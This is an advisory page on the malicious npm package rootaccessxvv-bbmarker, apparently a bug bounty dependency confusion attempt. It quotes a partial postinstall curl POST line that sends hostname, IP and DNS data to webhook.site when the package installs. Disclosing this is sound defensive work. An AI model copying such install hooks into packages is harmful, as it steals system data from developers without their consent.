GCVE-110-OSM-2026-13850

Advisory PublishedCVSS 5.4/10

Vulnetix · Advisory published October 18, 2026

Bug bounty dependency confusion attempt. Package exfiltrates basic system information (hostname, IP, DNS) to security research infrastructure. Behaviors: data exfiltration, install-time execution. ENTRY index.js (main: index.js) - Postinstall Script in package.json: ""postinstall": "curl -s -m 10 -X POST \"" DESTINATION - 1 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - OAST/Interactsh Exfiltration in package.json: "webhook.site" ADDITIONAL FINDINGS - Brand New Package - Very New NPM Publisher Account - Rapid Version Publishing

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

5.4/10

Medium · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Affected Products

Vendor	Product	Versions	Platforms
unknown	rootaccessxvv-bbmarker	all (affected)	—

References

Malicious npm package: rootaccessxvv-bbmarker

advisory

vendor

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